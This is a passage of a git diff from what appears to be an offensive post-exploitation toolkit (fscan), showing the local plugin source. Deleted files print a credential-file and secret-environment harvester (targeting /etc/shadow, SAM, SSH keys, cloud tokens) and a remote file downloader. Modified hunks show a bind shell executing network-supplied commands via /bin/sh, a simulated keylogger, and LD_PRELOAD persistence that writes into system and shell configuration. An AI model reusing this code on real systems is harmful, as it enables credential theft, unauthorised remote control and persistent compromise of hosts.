b/plugins/local/downloader.go deleted file mode 100644 index a4afeb3..0000000 --- a/plugins/local/downloader.go +++ /dev/null @@ -1,251 +0,0 @@ -//go:build (plugin_downloader || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "io" - "net/http" - "os" - "path/filepath" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// DownloaderPlugin 文件下载插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现文件下载功能 -// - 保持原有功能逻辑 -type DownloaderPlugin struct { - plugins.BasePlugin -} - -// NewDownloaderPlugin 创建文件下载插件 -func NewDownloaderPlugin() *DownloaderPlugin { - return &DownloaderPlugin{ - BasePlugin: plugins.NewBasePlugin("downloader"), - } -} - -// Scan 执行文件下载任务 - 直接实现 -func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - // 从config获取配置 - downloadURL := config.LocalExploit.DownloadURL - savePath := config.LocalExploit.DownloadSavePath - downloadTimeout := 30 * time.Second - maxFileSize := int64(100 * 1024 * 1024) // 100MB - - output.WriteString("=== 文件下载 ===\n") - - // 验证参数 - if err := p.validateParameters(downloadURL, &savePath); err != nil { - output.WriteString(fmt.Sprintf("参数验证失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("下载URL: %s\n", downloadURL)) - output.WriteString(fmt.Sprintf("保存路径: %s\n", savePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 检查保存路径权限 - if err := p.checkSavePathPermissions(&savePath); err != nil { - output.WriteString(fmt.Sprintf("保存路径检查失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 执行下载 - downloadInfo, err := p.downloadFile(ctx, downloadURL, savePath, downloadTimeout, maxFileSize) - if err != nil { - output.WriteString(fmt.Sprintf("下载失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 输出下载结果 - output.WriteString("✓ 文件下载成功!\n") - output.WriteString(fmt.Sprintf("文件大小: %v bytes\n", downloadInfo["file_size"])) - if contentType, ok := downloadInfo["content_type"]; ok && contentType != "" { - output.WriteString(fmt.Sprintf("文件类型: %v\n", contentType)) - } - output.WriteString(fmt.Sprintf("下载用时: %v\n", downloadInfo["download_time"])) - - common.LogSuccess(i18n.Tr("downloader_success", - downloadURL, savePath, downloadInfo["file_size"])) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// validateParameters 验证输入参数 -func (p *DownloaderPlugin) validateParameters(downloadURL string, savePath *string) error { - if downloadURL == "" { - return fmt.Errorf("下载URL不能为空,请使用 -download-url 参数指定") - } - - // 验证URL格式 - if !strings.HasPrefix(strings.ToLower(downloadURL), "http://") && - !strings.HasPrefix(strings.ToLower(downloadURL), "https://") { - return fmt.Errorf("无效的URL格式,必须以 http:// 或 https:// 开头") - } - - // 如果没有指定保存路径,使用URL中的文件名 - if *savePath == "" { - filename := p.extractFilenameFromURL(downloadURL) - if filename == "" { - filename = "downloaded_file" - } - *savePath = filename - } - - return nil -} - -// extractFilenameFromURL 从URL中提取文件名 -func (p *DownloaderPlugin) extractFilenameFromURL(url string) string { - // 移除查询参数 - if idx := strings.Index(url, "?"); idx != -1 { - url = url[:idx] - } - - // 获取路径的最后一部分 - parts := strings.Split(url, "/") - if len(parts) > 0 { - filename := parts[len(parts)-1] - if filename != "" && !strings.Contains(filename, "=") { - return filename - } - } - - return "" -} - -// checkSavePathPermissions 检查保存路径权限 -func (p *DownloaderPlugin) checkSavePathPermissions(savePath *string) error { - // 获取保存目录 - saveDir := filepath.Dir(*savePath) - if saveDir == "." || saveDir == "" { - // 使用当前目录 - var err error - saveDir, err = os.Getwd() - if err != nil { - return fmt.Errorf("获取当前目录失败: %w", err) - } - *savePath = filepath.Join(saveDir, filepath.Base(*savePath)) - } - - // 确保目录存在 - if err := os.MkdirAll(saveDir, 0755); err != nil { - return fmt.Errorf("创建保存目录失败: %w", err) - } - - // 检查写入权限 - testFile := filepath.Join(saveDir, ".fscan_write_test") - file, err := os.Create(testFile) - if err != nil { - return fmt.Errorf("保存目录无写入权限: %w", err) - } - _ = file.Close() // 测试文件,Close错误可忽略 - _ = os.Remove(testFile) - - return nil -} - -// downloadFile 执行文件下载 -func (p *DownloaderPlugin) downloadFile(ctx context.Context, downloadURL, savePath string, downloadTimeout time.Duration, maxFileSize int64) (map[string]interface{}, error) { - startTime := time.Now() - - // 创建带超时的HTTP客户端 - client := &http.Client{ - Timeout: downloadTimeout, - } - - // 创建请求 - req, err := http.NewRequestWithContext(ctx, "GET", downloadURL, nil) - if err != nil { - return nil, fmt.Errorf("创建HTTP请求失败: %w", err) - } - - // 设置User-Agent - req.Header.Set("User-Agent", "fscan-downloader/1.0") - - // 发送请求 - resp, err := client.Do(req) - if err != nil { - return nil, fmt.Errorf("HTTP请求失败: %w", err) - } - defer func() { _ = resp.Body.Close() }() // HTTP响应体,Close错误可安全忽略 - - // 检查HTTP状态码 - if resp.StatusCode != http.StatusOK { - return nil, fmt.Errorf("HTTP请求失败,状态码: %d %s", resp.StatusCode, resp.Status) - } - - // 检查文件大小 - contentLength := resp.ContentLength - if contentLength > maxFileSize { - return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)", - contentLength, maxFileSize) - } - - // 创建保存文件 - outFile, err := os.Create(savePath) - if err != nil { - return nil, fmt.Errorf("创建保存文件失败: %w", err) - } - defer func() { _ = outFile.Close() }() // 文件资源清理,Close错误可安全忽略 - - // 使用带限制的Reader防止过大文件 - limitedReader := io.LimitReader(resp.Body, maxFileSize) - - // 复制数据 - written, err := io.Copy(outFile, limitedReader) - if err != nil { - // 清理部分下载的文件 - _ = os.Remove(savePath) // 清理临时文件,Remove错误可忽略 - return nil, fmt.Errorf("文件下载失败: %w", err) - } - - downloadTime := time.Since(startTime) - - // 返回下载信息 - downloadInfo := map[string]interface{}{ - "save_path": savePath, - "file_size": written, - "content_type": resp.Header.Get("Content-Type"), - "download_time": downloadTime, - } - - return downloadInfo, nil -} - -// 注册插件 -func init() { - RegisterLocalPlugin("downloader", func() Plugin { - return NewDownloaderPlugin() - }) -} diff --git a/plugins/local/envinfo.go b/plugins/local/envinfo.go deleted file mode 100644 index 7c2c9d3..0000000 --- a/plugins/local/envinfo.go +++ /dev/null @@ -1,131 +0,0 @@ -//go:build (plugin_envinfo || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// EnvInfoPlugin 环境变量信息收集插件 -// 设计哲学:"做一件事并做好" -// - 专注于环境变量收集 -// - 过滤敏感信息关键词 -// - 简单有效的实现 -type EnvInfoPlugin struct { - plugins.BasePlugin -} - -// NewEnvInfoPlugin 创建环境变量信息插件 -func NewEnvInfoPlugin() *EnvInfoPlugin { - return &EnvInfoPlugin{ - BasePlugin: plugins.NewBasePlugin("envinfo"), - } -} - -// Scan 执行环境变量收集 - 直接、有效 -func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var output strings.Builder - var sensitiveVars []string - - output.WriteString("=== 环境变量信息收集 ===\n") - - // 获取所有环境变量 - envs := os.Environ() - output.WriteString(fmt.Sprintf("总环境变量数: %d\n\n", len(envs))) - - // 敏感关键词 - 直接硬编码,简单有效 - sensitiveKeywords := []string{ - "password", "passwd", "pwd", "secret", "key", "token", - "auth", "credential", "api", "access", "session", - "密码", "令牌", "密钥", "认证", - } - - // 重要环境变量 - 系统相关 - importantVars := []string{ - "PATH", "HOME", "USER", "USERNAME", "USERPROFILE", "TEMP", "TMP", - "HOMEPATH", "COMPUTERNAME", "USERDOMAIN", "PROCESSOR_ARCHITECTURE", - } - - output.WriteString("=== 重要环境变量 ===\n") - for _, envVar := range importantVars { - if value := os.Getenv(envVar); value != "" { - // PATH特殊处理 - 只显示条目数 - if envVar == "PATH" { - paths := strings.Split(value, string(os.PathListSeparator)) - output.WriteString(fmt.Sprintf("%s: %d个路径\n", envVar, len(paths))) - } else { - output.WriteString(fmt.Sprintf("%s: %s\n", envVar, value)) - } - } - } - - // 扫描所有环境变量寻找敏感信息 - output.WriteString("\n=== 潜在敏感环境变量 ===\n") - for _, env := range envs { - parts := strings.SplitN(env, "=", 2) - if len(parts) != 2 { - continue - } - - envName := strings.ToLower(parts[0]) - envValue := parts[1] - - // 检查是否包含敏感关键词 - for _, keyword := range sensitiveKeywords { - if strings.Contains(envName, keyword) { - // 脱敏显示:只显示前几个字符 - displayValue := envValue - if len(envValue) > 10 { - displayValue = envValue[:10] + "..." - } - - sensitiveInfo := fmt.Sprintf("%s: %s", parts[0], displayValue) - sensitiveVars = append(sensitiveVars, sensitiveInfo) - output.WriteString(sensitiveInfo + "\n") - common.LogSuccess(i18n.Tr("envinfo_sensitive", parts[0])) - break - } - } - } - - if len(sensitiveVars) == 0 { - output.WriteString("未发现明显的敏感环境变量\n") - } - - // 统计信息 - output.WriteString("\n=== 统计结果 ===\n") - output.WriteString(fmt.Sprintf("总环境变量: %d个\n", len(envs))) - output.WriteString(fmt.Sprintf("潜在敏感变量: %d个\n", len(sensitiveVars))) - - // 按长度统计 - shortVars, longVars := 0, 0 - for _, env := range envs { - if len(env) < 50 { - shortVars++ - } else { - longVars++ - } - } - output.WriteString(fmt.Sprintf("短变量(<50字符): %d个\n", shortVars)) - output.WriteString(fmt.Sprintf("长变量(≥50字符): %d个\n", longVars)) - - return &plugins.Result{ - Success: len(sensitiveVars) > 0, - Output: output.String(), - Error: nil, - } -} - -// 注册插件 -func init() { - RegisterLocalPlugin("envinfo", func() Plugin { - return NewEnvInfoPlugin() - }) -} diff --git a/plugins/local/fileinfo.go b/plugins/local/fileinfo.go deleted file mode 100644 index 708c1d5..0000000 --- a/plugins/local/fileinfo.go +++ /dev/null @@ -1,182 +0,0 @@ -//go:build (plugin_fileinfo || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// FileInfoPlugin 文件信息收集插件 -// 设计哲学:删除所有不必要的复杂性 -// - 没有继承体系 -// - 没有权限检查(让系统告诉我们) -// - 没有平台检查(运行时错误更清晰) -// - 没有复杂配置(直接硬编码关键路径) -type FileInfoPlugin struct { - plugins.BasePlugin -} - -// NewFileInfoPlugin 创建文件信息插件 -func NewFileInfoPlugin() *FileInfoPlugin { - return &FileInfoPlugin{ - BasePlugin: plugins.NewBasePlugin("fileinfo"), - } -} - -// Scan 执行本地文件扫描 - 直接、简单、有效 -func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var foundFiles []string - - // 扫描关键敏感文件位置 - 删除复杂的配置系统 - sensitiveFiles := p.getSensitiveFiles() - for _, file := range sensitiveFiles { - if p.fileExists(file) { - foundFiles = append(foundFiles, file) - common.LogSuccess(i18n.Tr("fileinfo_sensitive", file)) - } - } - - // 搜索用户目录下的敏感文件 - 简化搜索逻辑 - userFiles := p.searchUserFiles() - foundFiles = append(foundFiles, userFiles...) - - // 构建结果 - output := fmt.Sprintf("文件扫描完成 - 发现 %d 个敏感文件", len(foundFiles)) - if len(foundFiles) > 0 { - output += "\n发现的文件:" - for _, file := range foundFiles { - output += "\n " + file - } - } - - return &plugins.Result{ - Success: len(foundFiles) > 0, - Output: output, - Error: nil, - } -} - -// getSensitiveFiles 获取关键敏感文件列表 - 删除复杂的初始化逻辑 -func (p *FileInfoPlugin) getSensitiveFiles() []string { - var files []string - - switch runtime.GOOS { - case "windows": - files = []string{ - "C:\\boot.ini", - "C:\\Windows\\System32\\config\\SAM", - "C:\\Windows\\repair\\sam", - } - - // 添加用户相关路径 - if homeDir, err := os.UserHomeDir(); err == nil { - files = append(files, []string{ - filepath.Join(homeDir, ".ssh", "id_rsa"), - filepath.Join(homeDir, ".aws", "credentials"), - filepath.Join(homeDir, ".azure", "accessTokens.json"), - }...) - } - - case "linux", "darwin": - files = []string{ - "/etc/passwd", - "/etc/shadow", - "/root/.ssh/id_rsa", - "/root/.ssh/authorized_keys", - "/root/.bash_history", - "/etc/nginx/nginx.conf", - "/etc/apache2/apache2.conf", - } - - // 添加用户相关路径 - if homeDir, err := os.UserHomeDir(); err == nil { - files = append(files, []string{ - filepath.Join(homeDir, ".ssh", "id_rsa"), - filepath.Join(homeDir, ".aws", "credentials"), - filepath.Join(homeDir, ".bash_history"), - }...) - } - } - - return files -} - -// searchUserFiles 搜索用户目录敏感文件 - 简化搜索逻辑 -func (p *FileInfoPlugin) searchUserFiles() []string { - var foundFiles []string - - homeDir, err := os.UserHomeDir() - if err != nil { - return foundFiles - } - - // 关键目录 - 删除复杂的目录配置 - searchDirs := []string{ - filepath.Join(homeDir, "Desktop"), - filepath.Join(homeDir, "Documents"), - filepath.Join(homeDir, ".ssh"), - filepath.Join(homeDir, ".aws"), - } - - // 敏感文件关键词 - 删除复杂的白名单系统 - keywords := []string{"password", "key", "secret", "token", "credential", "passwd"} - - for _, dir := range searchDirs { - if !p.dirExists(dir) { - continue - } - - _ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { - if err != nil { - return nil - } - - // 限制深度和大小 - 简单有效 - if info.IsDir() || info.Size() > 1024*1024 { // 1MB - return nil - } - - // 检查文件名是否包含敏感关键词 - filename := strings.ToLower(filepath.Base(path)) - for _, keyword := range keywords { - if strings.Contains(filename, keyword) { - foundFiles = append(foundFiles, path) - common.LogSuccess(i18n.Tr("fileinfo_potential", path)) - break - } - } - - return nil - }) - } - - return foundFiles -} - -// fileExists 检查文件是否存在 -func (p *FileInfoPlugin) fileExists(path string) bool { - _, err := os.Stat(path) - return err == nil -} - -// dirExists 检查目录是否存在 -func (p *FileInfoPlugin) dirExists(path string) bool { - info, err := os.Stat(path) - return err == nil && info.IsDir() -} - -// 注册插件 -func init() { - RegisterLocalPlugin("fileinfo", func() Plugin { - return NewFileInfoPlugin() - }) -} diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go index 9a571bd..2690ff9 100644 --- a/plugins/local/forwardshell.go +++ b/plugins/local/forwardshell.go @@ -48,14 +48,14 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se port = 4444 } - output.WriteString("=== 正向Shell服务器 ===\n") - output.WriteString(fmt.Sprintf("监听端口: %d\n", port)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("forwardshell_header") + "\n") + output.WriteString(i18n.Tr("local_listen_port", port) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 启动正向Shell服务器 - err := p.startForwardShellServer(ctx, port, state) + err := p.startForwardShellServer(ctx, port, state, session) if err != nil { - output.WriteString(fmt.Sprintf("正向Shell服务器错误: %v\n", err)) + output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -63,8 +63,8 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } } - output.WriteString("✓ 正向Shell服务已完成\n") - common.LogSuccess(i18n.Tr("forwardshell_complete", port)) + output.WriteString(i18n.GetText("forwardshell_done") + "\n") + session.LogSuccess(i18n.Tr("forwardshell_complete", port)) return &plugins.Result{ Success: true, @@ -75,16 +75,16 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } // startForwardShellServer 启动正向Shell服务器 -func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State) error { +func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { // 监听指定端口 listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) if err != nil { - return fmt.Errorf("监听端口失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) } defer func() { _ = listener.Close() }() p.listener = listener - common.LogSuccess(i18n.Tr("forwardshell_started", port)) + session.LogSuccess(i18n.Tr("forwardshell_started", port)) // 设置正向Shell为活跃状态 state.SetForwardShellActive(true) @@ -111,17 +111,17 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i if errors.As(err, &netErr) && netErr.Timeout() { continue } - common.LogError(i18n.Tr("forwardshell_accept_failed", err)) + session.LogError(i18n.Tr("forwardshell_accept_failed", err)) continue } - common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) - go p.handleClient(ctx, conn) + session.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) + go p.handleClient(ctx, conn, session) } } // handleClient 处理客户端连接 -func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn) { +func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { defer func() { _ = clientConn.Close() }() // ctx 取消时关闭连接,解除阻塞的读操作 @@ -154,7 +154,7 @@ func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Co } if err := scanner.Err(); err != nil && ctx.Err() == nil { - common.LogError(i18n.Tr("forwardshell_read_failed", err)) + session.LogError(i18n.Tr("forwardshell_read_failed", err)) } } @@ -169,7 +169,7 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { case "linux", "darwin": cmd = exec.Command("/bin/sh", "-c", command) default: - _, _ = fmt.Fprintf(conn, "不支持的平台: %s\n", runtime.GOOS) + _, _ = fmt.Fprintln(conn, i18n.Tr("unsupported_platform", runtime.GOOS)) return } @@ -182,18 +182,18 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { output, err := cmd.CombinedOutput() if ctx.Err() == context.DeadlineExceeded { - _, _ = conn.Write([]byte("命令执行超时\n")) + _, _ = conn.Write([]byte(i18n.GetText("command_timeout") + "\n")) return } if err != nil { - _, _ = fmt.Fprintf(conn, "命令执行失败: %v\n", err) + _, _ = fmt.Fprintln(conn, i18n.Tr("command_exec_failed", err)) return } // 发送命令输出 if len(output) == 0 { - _, _ = conn.Write([]byte("(命令执行成功,无输出)\n")) + _, _ = conn.Write([]byte(i18n.GetText("command_success_no_output") + "\n")) } else { _, _ = conn.Write(output) if !strings.HasSuffix(string(output), "\n") { diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go index 0354cdd..df3f32f 100644 --- a/plugins/local/keylogger.go +++ b/plugins/local/keylogger.go @@ -46,13 +46,13 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi outputFile = "keylog.txt" } - output.WriteString("=== 键盘记录 ===\n") - output.WriteString(fmt.Sprintf("输出文件: %s\n", outputFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("keylogger_header") + "\n") + output.WriteString(i18n.Tr("local_output_file", outputFile) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 检查输出文件权限 if err := p.checkOutputFilePermissions(outputFile); err != nil { - output.WriteString(fmt.Sprintf("输出文件权限检查失败: %v\n", err)) + output.WriteString(i18n.Tr("keylogger_output_permission_failed", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -62,7 +62,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi // 检查平台要求 if err := p.checkPlatformRequirements(); err != nil { - output.WriteString(fmt.Sprintf("平台要求检查失败: %v\n", err)) + output.WriteString(i18n.Tr("platform_requirement_failed", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -71,9 +71,9 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi } // 启动键盘记录 - err := p.startKeylogging(ctx, outputFile) + err := p.startKeylogging(ctx, outputFile, session) if err != nil { - output.WriteString(fmt.Sprintf("键盘记录失败: %v\n", err)) + output.WriteString(i18n.Tr("keylogger_failed", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -82,11 +82,11 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi } // 输出结果 - output.WriteString("✓ 键盘记录已完成\n") - output.WriteString(fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))) - output.WriteString(fmt.Sprintf("日志文件: %s\n", outputFile)) + output.WriteString(i18n.GetText("keylogger_done") + "\n") + output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n") + output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n") - common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer))) + session.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer))) return &plugins.Result{ Success: true, @@ -97,7 +97,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi } // startKeylogging 启动键盘记录 -func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error { +func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string, session *common.ScanSession) error { // 根据平台启动相应的键盘记录 var err error @@ -109,16 +109,16 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string case "darwin": err = p.startDarwinKeylogging(ctx) default: - err = fmt.Errorf("不支持的平台: %s", runtime.GOOS) + err = fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) } if err != nil { - return fmt.Errorf("键盘记录失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("keylogger_failed_plain"), err) } // 保存到文件 - if err := p.saveKeysToFile(outputFile); err != nil { - common.LogError(i18n.Tr("keylogger_save_failed", err)) + if err := p.saveKeysToFile(outputFile, session); err != nil { + session.LogError(i18n.Tr("keylogger_save_failed", err)) } return nil @@ -128,7 +128,7 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error { file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) if err != nil { - return fmt.Errorf("无法创建输出文件 %s: %w", outputFile, err) + return fmt.Errorf("%s: %w", i18n.Tr("output_file_create_failed", outputFile), err) } _ = file.Close() return nil @@ -144,7 +144,7 @@ func (p *KeyloggerPlugin) checkPlatformRequirements() error { case "darwin": return p.checkDarwinRequirements() default: - return fmt.Errorf("不支持的平台: %s", runtime.GOOS) + return fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) } } @@ -159,36 +159,36 @@ func (p *KeyloggerPlugin) addKeyToBuffer(key string) { } // saveKeysToFile 保存键盘记录到文件 -func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error { +func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error { p.bufferMutex.RLock() defer p.bufferMutex.RUnlock() if len(p.keyBuffer) == 0 { - common.LogInfo(i18n.GetText("keylogger_no_input")) + session.LogInfo(i18n.GetText("keylogger_no_input")) return nil } file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) if err != nil { - return fmt.Errorf("无法打开输出文件: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err) } defer func() { _ = file.Close() }() // 写入头部信息 - header := "=== 键盘记录日志 ===\n" - header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05")) - header += fmt.Sprintf("平台: %s\n", runtime.GOOS) - header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)) + header := i18n.GetText("keylogger_log_header") + "\n" + header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n" + header += i18n.Tr("local_platform", runtime.GOOS) + "\n" + header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n" header += "========================\n\n" if _, err := file.WriteString(header); err != nil { - return fmt.Errorf("写入头部信息失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err) } // 写入键盘记录 for _, entry := range p.keyBuffer { if _, err := file.WriteString(entry + "\n"); err != nil { - return fmt.Errorf("写入键盘记录失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err) } } @@ -199,7 +199,7 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error { func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { // Windows平台键盘记录实现 // 在实际实现中需要使用Windows API - p.addKeyToBuffer("演示键盘记录 - Windows平台") + p.addKeyToBuffer(i18n.GetText("keylogger_demo_windows")) // 模拟记录一段时间 select { @@ -215,7 +215,7 @@ func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { // Linux平台键盘记录实现 // 在实际实现中需要访问/dev/input/event*设备 - p.addKeyToBuffer("演示键盘记录 - Linux平台") + p.addKeyToBuffer(i18n.GetText("keylogger_demo_linux")) // 模拟记录一段时间 select { @@ -231,7 +231,7 @@ func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { // macOS平台键盘记录实现 // 在实际实现中需要使用Core Graphics框架 - p.addKeyToBuffer("演示键盘记录 - macOS平台") + p.addKeyToBuffer(i18n.GetText("keylogger_demo_darwin")) // 模拟记录一段时间 select { diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go index 2d879c0..9eedf46 100644 --- a/plugins/local/ldpreload.go +++ b/plugins/local/ldpreload.go @@ -38,28 +38,28 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi var output strings.Builder if runtime.GOOS != "linux" { - output.WriteString("LD_PRELOAD持久化只支持Linux平台\n") + output.WriteString(i18n.GetText("ldpreload_linux_only") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), } } // 从config获取配置 targetFile := config.PersistenceTargetFile if targetFile == "" { - output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") + output.WriteString(i18n.GetText("persistence_file_required") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("未指定目标文件"), + Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), } } // 检查目标文件是否存在 if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile)) + output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -69,61 +69,61 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi // 检查文件类型 if !p.isValidFile(targetFile) { - output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", targetFile)) + output.WriteString(i18n.Tr("ldpreload_so_required", targetFile) + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("无效文件类型"), + Error: fmt.Errorf("%s", i18n.GetText("invalid_file_type")), } } - output.WriteString("=== LD_PRELOAD持久化 ===\n") - output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("ldpreload_header") + "\n") + output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") var successCount int // 1. 复制文件到系统目录 systemPath, err := p.copyToSystemPath(targetFile) if err != nil { - output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_copy_system_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath)) + output.WriteString(i18n.Tr("file_copied_to", systemPath) + "\n") successCount++ } // 2. 添加到全局环境变量 err = p.addToEnvironment(systemPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_env_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加到全局环境变量\n") + output.WriteString(i18n.GetText("ldpreload_env_added") + "\n") successCount++ } // 3. 添加到shell配置文件 shellConfigs, err := p.addToShellConfigs(systemPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_shell_add_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", "))) + output.WriteString(i18n.Tr("ldpreload_shell_added", strings.Join(shellConfigs, ", ")) + "\n") successCount++ } // 4. 创建库配置文件 err = p.createLdConfig(systemPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_config_create_failed", err) + "\n") } else { - output.WriteString("✓ 已创建ld预加载配置\n") + output.WriteString(i18n.GetText("ldpreload_config_created") + "\n") successCount++ } // 输出统计 - output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4)) + output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", 